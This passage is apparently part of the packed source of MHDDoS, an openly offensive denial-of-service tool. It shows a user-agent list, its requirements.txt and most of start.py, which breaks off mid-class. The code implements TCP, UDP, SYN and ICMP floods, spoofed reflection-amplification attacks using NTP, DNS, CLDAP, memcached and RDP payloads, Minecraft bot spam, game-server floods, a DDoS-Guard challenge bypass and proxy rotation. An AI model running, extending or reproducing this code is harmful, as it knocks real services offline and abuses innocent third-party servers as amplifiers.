Configuration/CLDC-1.1\nSonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nSonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]\nSonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0\nSonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nsproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)\nSqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)\nSuperBot/4.4.0.60 (Windows XP)\ntnftp/20050625\nUzbl (Webkit 1.3) (Linux i686 [i686])\nVodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1\nW3C_Validator/1.305.2.12 libwww-perl/5.64\nW3C_Validator/1.654\nw3m/0.5.1\nWDG_Validator/1.6.2\nWeb Downloader/6.9\nWebCopier v4.6\nWebZIP/3.5 (http://www.spidersoft.com)\nWget/1.7\nWget/1.8.1\nWget/1.8.2\nWget/1.9 cvs-stable (Red Hat modified)\nWget/1.9.1\nWget/1.10.1\nwii libnup/1.0\nYahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)\n"
  },
  {
    "path": "requirements.txt",
    "content": "cloudscraper==1.2.71\ncertifi==2024.7.4\ndnspython==2.6.1\nrequests==2.32.4\nimpacket==0.10.0\npsutil>=5.9.3\nicmplib>=2.1.1\npyasn1==0.4.8\npyroxy @ git+https://github.com/MatrixTM/PyRoxy.git\nyarl>=1.7.2"
  },
  {
    "path": "start.py",
    "content": "#!/usr/bin/env python3\n \nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom contextlib import suppress\nfrom itertools import cycle\nfrom json import load\nfrom logging import basicConfig, getLogger, shutdown\nfrom math import log2, trunc\nfrom multiprocessing import RawValue\nfrom os import urandom as randbytes\nfrom pathlib import Path\nfrom re import compile\nfrom random import choice as randchoice, randint\nfrom socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,\n                    SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,\n                    gethostname, socket)\nfrom ssl import CERT_NONE, SSLContext, create_default_context\nimport ssl\nfrom struct import pack as data_pack\nfrom subprocess import run, PIPE\nfrom sys import argv\nfrom sys import exit as _exit\nfrom threading import Event, Thread\nfrom time import sleep, time\nfrom typing import Any, List, Set, Tuple\nfrom urllib import parse\nfrom uuid import UUID, uuid4\n\nfrom PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles\nfrom PyRoxy import Tools as ProxyTools\nfrom certifi import where\nfrom cloudscraper import create_scraper\nfrom dns import resolver\nfrom icmplib import ping\nfrom impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP\nfrom psutil import cpu_percent, net_io_counters, process_iter, virtual_memory\nfrom requests import Response, Session, exceptions, get, cookies\nfrom yarl import URL\nfrom base64 import b64encode\n\nbasicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',\n            datefmt=\"%H:%M:%S\")\nlogger = getLogger(\"MHDDoS\")\nlogger.setLevel(\"INFO\")\nctx: SSLContext = create_default_context(cafile=where())\nctx.check_hostname = False\nctx.verify_mode = CERT_NONE\n# Enforce only TLSv1.2+ (defense-in-depth: also disable older protocols explicitly)\nif hasattr(ctx, \"minimum_version\") and hasattr(ssl, \"TLSVersion\"):\n    ctx.minimum_version = ssl.TLSVersion.TLSv1_2\n# Disable insecure TLS versions for additional safety\nif hasattr(ssl, \"OP_NO_TLSv1\"):\n    ctx.options |= ssl.OP_NO_TLSv1\nif hasattr(ssl, \"OP_NO_TLSv1_1\"):\n    ctx.options |= ssl.OP_NO_TLSv1_1\n\n__version__: str = \"2.4 SNAPSHOT\"\n__dir__: Path = Path(__file__).parent\n__ip__: Any = None\ntor2webs = [\n            'onion.city',\n            'onion.cab',\n            'onion.direct',\n            'onion.sh',\n            'onion.link',\n            'onion.ws',\n            'onion.pet',\n            'onion.rip',\n            'onion.plus',\n            'onion.top',\n            'onion.si',\n            'onion.ly',\n            'onion.my',\n            'onion.sh',\n            'onion.lu',\n            'onion.casa',\n            'onion.com.de',\n            'onion.foundation',\n            'onion.rodeo',\n            'onion.lat',\n            'tor2web.org',\n            'tor2web.fi',\n            'tor2web.blutmagie.de',\n            'tor2web.to',\n            'tor2web.io',\n            'tor2web.in',\n            'tor2web.it',\n            'tor2web.xyz',\n            'tor2web.su',\n            'darknet.to',\n            's1.tor-gateways.de',\n            's2.tor-gateways.de',\n            's3.tor-gateways.de',\n            's4.tor-gateways.de',\n            's5.tor-gateways.de'\n        ]\n\nwith open(__dir__ / \"config.json\") as f:\n    con = load(f)\n\nwith socket(AF_INET, SOCK_DGRAM) as s:\n    s.connect((\"8.8.8.8\", 80))\n    __ip__ = s.getsockname()[0]\n\n\nclass bcolors:\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OKCYAN = '\\033[96m'\n    OKGREEN = '\\033[92m'\n    WARNING = '\\033[93m'\n    FAIL = '\\033[91m'\n    RESET = '\\033[0m'\n    BOLD = '\\033[1m'\n    UNDERLINE = '\\033[4m'\n\n\ndef exit(*message):\n    if message:\n        logger.error(bcolors.FAIL + \" \".join(message) + bcolors.RESET)\n    shutdown()\n    _exit(1)\n\n\nclass Methods:\n    LAYER7_METHODS: Set[str] = {\n        \"CFB\", \"BYPASS\", \"GET\", \"POST\", \"OVH\", \"STRESS\", \"DYN\", \"SLOW\", \"HEAD\",\n        \"NULL\", \"COOKIE\", \"PPS\", \"EVEN\", \"GSB\", \"DGB\", \"AVB\", \"CFBUAM\",\n        \"APACHE\", \"XMLRPC\", \"BOT\", \"BOMB\", \"DOWNLOADER\", \"KILLER\", \"TOR\", \"RHEX\", \"STOMP\"\n    }\n\n    LAYER4_AMP: Set[str] = {\n        \"MEM\", \"NTP\", \"DNS\", \"ARD\",\n        \"CLDAP\", \"CHAR\", \"RDP\"\n    }\n\n    LAYER4_METHODS: Set[str] = {*LAYER4_AMP,\n                                \"TCP\", \"UDP\", \"SYN\", \"VSE\", \"MINECRAFT\",\n                                \"MCBOT\", \"CONNECTION\", \"CPS\", \"FIVEM\", \"FIVEM-TOKEN\",\n                                \"TS3\", \"MCPE\", \"ICMP\", \"OVH-UDP\",\n                                }\n\n    ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}\n\n\nsearch_engine_agents = [\n    # ---------------- Google ----------------\n    \"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\",\n    \"Googlebot/2.1 (+http://www.googlebot.com/bot.html)\",\n    \"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; \"\n    \"+http://www.google.com/bot.html) Chrome/103.0.5060.134 Safari/537.36\",\n    \"Googlebot-Image/1.0\",\n    \"Googlebot-Video/1.0\",\n    \"Googlebot-News\",\n    \"AdsBot-Google (+http://www.google.com/adsbot.html)\",\n    \"AdsBot-Google-Mobile-Apps\",\n    \"AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)\",\n    \"Mediapartners-Google\",\n    \"FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)\",\n\n    # ---------------- Bing / Microsoft ----------------\n    \"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\",\n    \"BingPreview/1.0b\",\n    \"AdIdxBot/2.0 (+http://www.bing.com/bingbot.htm)\",\n\n    # ---------------- Yahoo ----------------\n    \"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\",\n    \"Yahoo! Slurp China\",\n\n    # ---------------- Yandex ----------------\n    \"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)\",\n    \"YandexMobileBot/3.0 (+http://yandex.com/bots)\",\n    \"YandexImages/3.0 (+http://yandex.com/bots)\",\n    \"YandexVideo/3.0 (+http://yandex.com/bots)\",\n    \"YandexNews/3.0 (+http://yandex.com/bots)\",\n\n    # ---------------- Baidu ----------------\n    \"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\",\n    \"Baiduspider-image (+http://www.baidu.com/search/spider.html)\",\n    \"Baiduspider-video (+http://www.baidu.com/search/spider.html)\",\n\n    # ---------------- DuckDuckGo ----------------\n    \"DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)\",\n    \"DuckDuckBot/2.0; (+http://duckduckgo.com/duckduckbot.html)\",\n\n    # ---------------- Applebot ----------------\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 \"\n    \"(KHTML, like Gecko) Version/14.0 Safari/605.1.15 (Applebot/0.1; \"\n    \"+http://www.apple.com/go/applebot)\",\n\n    # ---------------- Facebook / Social ----------------\n    \"facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)\",\n    \"Facebot/1.0\",\n\n    # ---------------- Twitter ----------------\n    \"Twitterbot/1.0\",\n\n    # ---------------- LinkedIn ----------------\n    \"LinkedInBot/1.0 (+https://www.linkedin.com/)\",\n\n    # ---------------- Pinterest ----------------\n    \"Pinterest/0.2 (+http://www.pinterest.com/bot.html)\",\n\n    # ---------------- Other Major Bots ----------------\n    \"Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)\",\n    \"SemrushBot/7~bl (+http://www.semrush.com/bot.html)\",\n    \"MJ12bot/v1.4.8 (http://mj12bot.com/)\",\n    \"Sogou web spider/4.0 (+http://www.sogou.com/docs/help/webmasters.htm#07)\",\n    \"Exabot/3.0 (+http://www.exabot.com/go/robot)\",\n    \"SeznamBot/3.2 (http://napoveda.seznam.cz/seznambot-intro/)\",\n    \"CCBot/2.0 (+http://commoncrawl.org/faq/)\",\n    \"DotBot/1.1 (+http://www.opensiteexplorer.org/dotbot, help@moz.com)\"\n]\n\n\nclass Counter:\n    def __init__(self, value=0):\n        self._value = RawValue('i', value)\n\n    def __iadd__(self, value):\n        self._value.value += value\n        return self\n\n    def __int__(self):\n        return self._value.value\n\n    def set(self, value):\n        self._value.value = value\n        return self\n\n\nREQUESTS_SENT = Counter()\nBYTES_SEND = Counter()\n\n\nclass Tools:\n    IP = compile(\"(?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\")\n    protocolRex = compile('\"protocol\":(\\\\d+)')\n\n    @staticmethod\n    def humanbytes(i: int, binary: bool = False, precision: int = 2):\n        MULTIPLES = [\n            \"B\", \"k{}B\", \"M{}B\", \"G{}B\", \"T{}B\", \"P{}B\", \"E{}B\", \"Z{}B\", \"Y{}B\"\n        ]\n        if i > 0:\n            base = 1024 if binary else 1000\n            multiple = trunc(log2(i) / log2(base))\n            value = i / pow(base, multiple)\n            suffix = MULTIPLES[multiple].format(\"i\" if binary else \"\")\n            return f\"{value:.{precision}f} {suffix}\"\n        else:\n            return \"-- B\"\n\n    @staticmethod\n    def humanformat(num: int, precision: int = 2):\n        suffixes = ['', 'k', 'm', 'g', 't', 'p']\n        if num > 999:\n            obje = sum(\n                [abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])\n            return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'\n        else:\n            return num\n\n    @staticmethod\n    def sizeOfRequest(res: Response) -> int:\n        size: int = len(res.request.method)\n        size += len(res.request.url)\n        size += len('\\r\\n'.join(f'{key}: {value}'\n                                for key, value in res.request.headers.items()))\n        return size\n\n    @staticmethod\n    def send(sock: socket, packet: bytes):\n        global BYTES_SEND, REQUESTS_SENT\n        if not sock.send(packet):\n            return False\n        BYTES_SEND += len(packet)\n        REQUESTS_SENT += 1\n        return True\n\n    @staticmethod\n    def sendto(sock, packet, target):\n        global BYTES_SEND, REQUESTS_SENT\n        if not sock.sendto(packet, target):\n            return False\n        BYTES_SEND += len(packet)\n        REQUESTS_SENT += 1\n        return True\n\n    @staticmethod\n    def dgb_solver(url, ua, pro=None):\n        s = None\n        idss = None\n        with Session() as s:\n            if pro:\n                s.proxies = pro\n            hdrs = {\n                \"User-Agent\": ua,\n                \"Accept\": \"text/html\",\n                \"Accept-Language\": \"en-US\",\n                \"Connection\": \"keep-alive\",\n                \"Sec-Fetch-Dest\": \"document\",\n                \"Sec-Fetch-Mode\": \"navigate\",\n                \"Sec-Fetch-Site\": \"none\",\n                \"Sec-Fetch-User\": \"?1\",\n                \"TE\": \"trailers\",\n                \"DNT\": \"1\"\n            }\n            with s.get(url, headers=hdrs) as ss:\n                for key, value in ss.cookies.items():\n                    s.cookies.set_cookie(cookies.create_cookie(key, value))\n            hdrs = {\n                \"User-Agent\": ua,\n                \"Accept\": \"*/*\",\n                \"Accept-Language\": \"en-US,en;q=0.5\",\n                \"Accept-Encoding\": \"gzip, deflate\",\n                \"Referer\": url,\n                \"Sec-Fetch-Dest\": \"script\",\n                \"Sec-Fetch-Mode\": \"no-cors\",\n                \"Sec-Fetch-Site\": \"cross-site\"\n            }\n            with s.post(\"https://check.ddos-guard.net/check.js\", headers=hdrs) as ss:\n                for key, value in ss.cookies.items():\n                    if key == '__ddg2':\n                        idss = value\n                    s.cookies.set_cookie(cookies.create_cookie(key, value))\n\n            hdrs = {\n                \"User-Agent\": ua,\n                \"Accept\": \"image/webp,*/*\",\n                \"Accept-Language\": \"en-US,en;q=0.5\",\n                \"Accept-Encoding\": \"gzip, deflate\",\n                \"Cache-Control\": \"no-cache\",\n                \"Referer\": url,\n                \"Sec-Fetch-Dest\": \"script\",\n                \"Sec-Fetch-Mode\": \"no-cors\",\n                \"Sec-Fetch-Site\": \"cross-site\"\n            }\n            with s.get(f\"{url}.well-known/ddos-guard/id/{idss}\", headers=hdrs) as ss:\n                for key, value in ss.cookies.items():\n                    s.cookies.set_cookie(cookies.create_cookie(key, value))\n                return s\n\n        return False\n\n    @staticmethod\n    def safe_close(sock=None):\n        if sock:\n            sock.close()\n\n\nclass Minecraft:\n    @staticmethod\n    def varint(d: int) -> bytes:\n        o = b''\n        while True:\n            b = d & 0x7F\n            d >>= 7\n            o += data_pack(\"B\", b | (0x80 if d > 0 else 0))\n            if d == 0:\n                break\n        return o\n\n    @staticmethod\n    def data(*payload: bytes) -> bytes:\n        payload = b''.join(payload)\n        return Minecraft.varint(len(payload)) + payload\n\n    @staticmethod\n    def short(integer: int) -> bytes:\n        return data_pack('>H', integer)\n\n    @staticmethod\n    def long(integer: int) -> bytes:\n        return data_pack('>q', integer)\n\n    @staticmethod\n    def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:\n        return Minecraft.data(Minecraft.varint(0x00),\n                              Minecraft.varint(version),\n                              Minecraft.data(target[0].encode()),\n                              Minecraft.short(target[1]),\n                              Minecraft.varint(state))\n\n    @staticmethod\n    def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:\n        return Minecraft.data(Minecraft.varint(0x00),\n                              Minecraft.varint(version),\n                              Minecraft.data(\n                                  target[0].encode(),\n                                  b\"\\x00\",\n                                  ip.encode(),\n                                  b\"\\x00\",\n                                  uuid.hex.encode()\n                              ),\n                              Minecraft.short(target[1]),\n                              Minecraft.varint(state))\n\n    @staticmethod\n    def login(protocol: int, username: str) -> bytes:\n        if isinstance(username, str):\n            username = username.encode()\n        return Minecraft.data(Minecraft.varint(0x00 if protocol >= 391 else \\\n                                               0x01 if protocol >= 385 else \\\n                                               0x00),\n                              Minecraft.data(username))\n\n    @staticmethod\n    def keepalive(protocol: int, num_id: int) -> bytes:\n        return Minecraft.data(Minecraft.varint(0x0F if protocol >= 755 else \\\n                                               0x10 if protocol >= 712 else \\\n                                               0x0F if protocol >= 471 else \\\n                                               0x10 if protocol >= 464 else \\\n                                               0x0E if protocol >= 389 else \\\n                                               0x0C if protocol >= 386 else \\\n                                               0x0B if protocol >= 345 else \\\n                                               0x0A if protocol >= 343 else \\\n                                               0x0B if protocol >= 336 else \\\n                                               0x0C if protocol >= 318 else \\\n                                               0x0B if protocol >= 107 else \\\n                                               0x00),\n                              Minecraft.long(num_id) if protocol >= 339 else \\\n                              Minecraft.varint(num_id))\n\n    @staticmethod\n    def chat(protocol: int, message: str) -> bytes:\n        return Minecraft.data(Minecraft.varint(0x03 if protocol >= 755 else \\\n                                               0x03 if protocol >= 464 else \\\n                                               0x02 if protocol >= 389 else \\\n                                               0x01 if protocol >= 343 else \\\n                                               0x02 if protocol >= 336 else \\\n                                               0x03 if protocol >= 318 else \\\n                                               0x02 if protocol >= 107 else \\\n                                               0x01),\n                              Minecraft.data(message.encode()))\n\n\n# noinspection PyBroadException,PyUnusedLocal\nclass Layer4(Thread):\n    _method: str\n    _target: Tuple[str, int]\n    _ref: Any\n    SENT_FLOOD: Any\n    _amp_payloads = cycle\n    _proxies: List[Proxy] = None\n\n    def __init__(self,\n                 target: Tuple[str, int],\n                 ref: List[str] = None,\n                 method: str = \"TCP\",\n                 synevent: Event = None,\n                 proxies: Set[Proxy] = None,\n                 protocolid: int = 74):\n        Thread.__init__(self, daemon=True)\n        self._amp_payload = None\n        self._amp_payloads = cycle([])\n        self._ref = ref\n        self.protocolid = protocolid\n        self._method = method\n        self._target = target\n        self._synevent = synevent\n        if proxies:\n            self._proxies = list(proxies)\n\n        self.methods = {\n            \"UDP\": self.UDP,\n            \"SYN\": self.SYN,\n            \"VSE\": self.VSE,\n            \"TS3\": self.TS3,\n            \"MCPE\": self.MCPE,\n            \"FIVEM\": self.FIVEM,\n            \"FIVEM-TOKEN\": self.FIVEMTOKEN,\n            \"OVH-UDP\": self.OVHUDP, \n            \"MINECRAFT\": self.MINECRAFT,\n            \"CPS\": self.CPS,\n            \"CONNECTION\": self.CONNECTION,\n            \"MCBOT\": self.MCBOT,\n        }\n\n    def run(self) -> None:\n        if self._synevent: self._synevent.wait()\n        self.select(self._method)\n        while self._synevent.is_set():\n            self.SENT_FLOOD()\n\n    def open_connection(self,\n                        conn_type=AF_INET,\n                        sock_type=SOCK_STREAM,\n                        proto_type=IPPROTO_TCP):\n        if self._proxies:\n            s = randchoice(self._proxies).open_socket(\n                conn_type, sock_type, proto_type)\n        else:\n            s = socket(conn_type, sock_type, proto_type)\n        s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)\n        s.settimeout(.9)\n        s.connect(self._target)\n        return s\n\n    def TCP(self) -> None:\n        s = None\n        with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:\n            while Tools.send(s, randbytes(1024)):\n                continue\n        Tools.safe_close(s)\n\n    def MINECRAFT(self) -> None:\n        handshake = Minecraft.handshake(self._target, self.protocolid, 1)\n        ping = Minecraft.data(b'\\x00')\n\n        s = None\n        with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:\n            while Tools.send(s, handshake):\n                Tools.send(s, ping)\n        Tools.safe_close(s)\n\n    def CPS(self) -> None:\n        global REQUESTS_SENT\n        s = None\n        with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:\n            REQUESTS_SENT += 1\n        Tools.safe_close(s)\n\n    def alive_connection(self) -> None:\n        s = None\n        with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:\n            while s.recv(1):\n                continue\n        Tools.safe_close(s)\n\n    def CONNECTION(self) -> None:\n        global REQUESTS_SENT\n        with suppress(Exception):\n            Thread(target=self.alive_connection).start()\n            REQUESTS_SENT += 1\n\n    def UDP(self) -> None:\n        s = None\n        with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:\n            while Tools.sendto(s, randbytes(1024), self._target):\n                continue\n        Tools.safe_close(s)\n\n    def OVHUDP(self) -> None:\n        with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:\n            s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)\n            while True:\n                for payload in self._generate_ovhudp():\n                    Tools.sendto(s, payload, self._target)\n        Tools.safe_close(s)\n\n    def ICMP(self) -> None:\n        payload = self._genrate_icmp()\n        s = None\n        with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:\n            s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)\n            while Tools.sendto(s, payload, self._target):\n                continue\n        Tools.safe_close(s)\n\n    def SYN(self) -> None:\n        s = None\n        with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:\n            s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)\n            while Tools.sendto(s, self._genrate_syn(), self._target):\n                continue\n        Tools.safe_close(s)\n\n    def AMP(self) -> None:\n        s = None\n        with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:\n            s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)\n            while Tools.sendto(s, *next(self._amp_payloads)):\n                continue\n        Tools.safe_close(s)\n\n    def MCBOT(self) -> None:\n        s = None\n\n        with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:\n            Tools.send(s, Minecraft.handshake_forwarded(self._target,\n                                                        self.protocolid,\n                                                        2,\n                                                        ProxyTools.Random.rand_ipv4(),\n                                                        uuid4()))\n            username = f\"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}\"\n            password = b64encode(username.encode()).decode()[:8].title()\n            Tools.send(s, Minecraft.login(self.protocolid, username))\n            \n            sleep(1.5)\n\n            Tools.send(s, Minecraft.chat(self.protocolid, \"/register %s %s\" % (password, password)))\n            Tools.send(s, Minecraft.chat(self.protocolid, \"/login %s\" % password))\n\n            while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):\n                sleep(1.1)\n\n        Tools.safe_close(s)\n\n    def VSE(self) -> None:\n        global BYTES_SEND, REQUESTS_SENT\n        payload = (b'\\xff\\xff\\xff\\xff\\x54\\x53\\x6f\\x75\\x72\\x63\\x65\\x20\\x45\\x6e\\x67\\x69\\x6e\\x65'\n                   b'\\x20\\x51\\x75\\x65\\x72\\x79\\x00')\n        with socket(AF_INET, SOCK_DGRAM) as s:\n            while Tools.sendto(s, payload, self._target):\n                continue\n        Tools.safe_close(s)\n\n    def FIVEMTOKEN(self) -> None:\n        global BYTES_SEND, REQUESTS_SENT\n\n        # Generete token and guid\n        token = str(uuid4())\n        steamid_min = 76561197960265728\n        steamid_max = 76561199999999999\n        guid = str(randint(steamid_min, steamid_max))\n\n        # Build Payload\n        payload_str = f\"token={token}&guid={guid}\"\n        payload = payload_str.encode('utf-8')\n\n        with socket(AF_INET, SOCK_DGRAM) as s:\n            while Tools.sendto(s, payload, self._target):\n                continue\n        Tools.safe_close(s)\n\n    def FIVEM(self) -> None:\n        global BYTES_SEND, REQUESTS_SENT\n        payload = b'\\xff\\xff\\xff\\xffgetinfo xxx\\x00\\x00\\x00'\n        with socket(AF_INET, SOCK_DGRAM) as s:\n            while Tools.sendto(s, payload, self._target):\n                continue\n        Tools.safe_close(s)\n\n    def TS3(self) -> None:\n        global BYTES_SEND, REQUESTS_SENT\n        payload = b'\\x05\\xca\\x7f\\x16\\x9c\\x11\\xf9\\x89\\x00\\x00\\x00\\x00\\x02'\n        with socket(AF_INET, SOCK_DGRAM) as s:\n            while Tools.sendto(s, payload, self._target):\n                continue\n        Tools.safe_close(s)\n\n    def MCPE(self) -> None:\n        global BYTES_SEND, REQUESTS_SENT\n        payload = (b'\\x61\\x74\\x6f\\x6d\\x20\\x64\\x61\\x74\\x61\\x20\\x6f\\x6e\\x74\\x6f\\x70\\x20\\x6d\\x79\\x20\\x6f'\n                   b'\\x77\\x6e\\x20\\x61\\x73\\x73\\x20\\x61\\x6d\\x70\\x2f\\x74\\x72\\x69\\x70\\x68\\x65\\x6e\\x74\\x20'\n                   b'\\x69\\x73\\x20\\x6d\\x79\\x20\\x64\\x69\\x63\\x6b\\x20\\x61\\x6e\\x64\\x20\\x62\\x61\\x6c\\x6c'\n                   b'\\x73')\n        with socket(AF_INET, SOCK_DGRAM) as s:\n            while Tools.sendto(s, payload, self._target):\n                continue\n        Tools.safe_close(s)\n\n    def _generate_ovhudp(self) -> List[bytes]:\n        packets = []\n\n        methods = [\"PGET\", \"POST\", \"HEAD\", \"OPTIONS\", \"PURGE\"]\n        paths = ['/0/0/0/0/0/0', '/0/0/0/0/0/0/', '\\\\0\\\\0\\\\0\\\\0\\\\0\\\\0', '\\\\0\\\\0\\\\0\\\\0\\\\0\\\\0\\\\', '/', '/null', '/%00%00%00%00']\n\n        for _ in range(randint(2, 4)):\n            ip = IP()\n            ip.set_ip_src(__ip__)\n            ip.set_ip_dst(self._target[0])\n\n            udp = UDP()\n            udp.set_uh_sport(randint(1024, 65535))\n            udp.set_uh_dport(self._target[1])\n\n            payload_size = randint(1024, 2048)\n            random_part = randbytes(payload_size).decode(\"latin1\", \"ignore\")\n\n            method = randchoice(methods)\n            path = randchoice(paths)\n\n            payload_str = (\n                f\"{method} {path}{random_part} HTTP/1.1\\n\"\n                f\"Host: {self._target[0]}:{self._target[1]}\\r\\n\\r\\n\"\n            )\n\n            payload = payload_str.encode(\"latin1\", \"ignore\")\n\n            udp.contains(Data(payload))\n            ip.contains(udp)\n\n            packets.append(ip.get_packet())\n\n        return packets\n\n    def _genrate_syn(self) -> bytes:\n        ip: IP = IP()\n        ip.set_ip_src(__ip__)\n        ip.set_ip_dst(self._target[0])\n        tcp: TCP = TCP()\n        tcp.set_SYN()\n        tcp.set_th_flags(0x02)\n        tcp.set_th_dport(self._target[1])\n        tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535))\n        ip.contains(tcp)\n        return ip.get_packet()\n\n    def _genrate_icmp(self) -> bytes:\n        ip: IP = IP()\n        ip.set_ip_src(__ip__)\n        ip.set_ip_dst(self._target[0])\n        icmp: ICMP = ICMP()\n        icmp.set_icmp_type(icmp.ICMP_ECHO)\n        icmp.contains(Data(b\"A\" * ProxyTools.Random.rand_int(16, 1024)))\n        ip.contains(icmp)\n        return ip.get_packet()\n\n    def _generate_amp(self):\n        payloads = []\n        for ref in self._ref:\n            ip: IP = IP()\n            ip.set_ip_src(self._target[0])\n            ip.set_ip_dst(ref)\n\n            ud: UDP = UDP()\n            ud.set_uh_dport(self._amp_payload[1])\n            ud.set_uh_sport(self._target[1])\n\n            ud.contains(Data(self._amp_payload[0]))\n            ip.contains(ud)\n\n            payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))\n        return payloads\n\n    def select(self, name):\n        self.SENT_FLOOD = self.TCP\n        for key, value in self.methods.items():\n            if name == key:\n                self.SENT_FLOOD = value\n            elif name == \"ICMP\":\n                self.SENT_FLOOD = self.ICMP\n                self._target = (self._target[0], 0)\n            elif name == \"RDP\":\n                self._amp_payload = (\n                    b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n                    3389)\n                self.SENT_FLOOD = self.AMP\n                self._amp_payloads = cycle(self._generate_amp())\n            elif name == \"CLDAP\":\n                self._amp_payload = (\n                    b'\\x30\\x25\\x02\\x01\\x01\\x63\\x20\\x04\\x00\\x0a\\x01\\x00\\x0a\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00'\n                    b'\\x01\\x01\\x00\\x87\\x0b\\x6f\\x62\\x6a\\x65\\x63\\x74\\x63\\x6c\\x61\\x73\\x73\\x30\\x00',\n                    389)\n                self.SENT_FLOOD = self.AMP\n                self._amp_payloads = cycle(self._generate_amp())\n            elif name == \"MEM\":\n                self._amp_payload = (\n                    b'\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00gets p h e\\n', 11211)\n                self.SENT_FLOOD = self.AMP\n                self._amp_payloads = cycle(self._generate_amp())\n            elif name == \"CHAR\":\n                self._amp_payload = (b'\\x01', 19)\n                self.SENT_FLOOD = self.AMP\n                self._amp_payloads = cycle(self._generate_amp())\n            elif name == \"ARD\":\n                self._amp_payload = (b'\\x00\\x14\\x00\\x00', 3283)\n                self.SENT_FLOOD = self.AMP\n                self._amp_payloads = cycle(self._generate_amp())\n            elif name == \"NTP\":\n                self._amp_payload = (b'\\x17\\x00\\x03\\x2a\\x00\\x00\\x00\\x00', 123)\n                self.SENT_FLOOD = self.AMP\n                self._amp_payloads = cycle(self._generate_amp())\n            elif name == \"DNS\":\n                self._amp_payload = (\n                    b'\\x45\\x67\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x73\\x6c\\x00\\x00\\xff\\x00\\x01\\x00'\n                    b'\\x00\\x29\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00',\n                    53)\n                self.SENT_FLOOD = self.AMP\n                self._amp_payloads = cycle(self._generate_amp())\n\n\n# noinspection PyBroadException,PyUnusedLocal\nclass HttpFlood(Thread):\n    _proxies: List[Proxy] = None\n    _payload: str\n    _defaultpayload: Any\n    _req_type: str\n    _useragents: List[str]\n    _referers: List[str]\n    _target: URL\n    _method: str\n    _rpc: int\n    _synevent: Any\n    SENT_FLOOD: Any\n\n    def __init__(self,\n                 thread_id: int,\n                 target: URL,\n                 host: str,\n                 method: str = \"GET\",\n                 rpc: int = 1,\n                 synevent: Event = None,\n                 useragents: Set[str] = 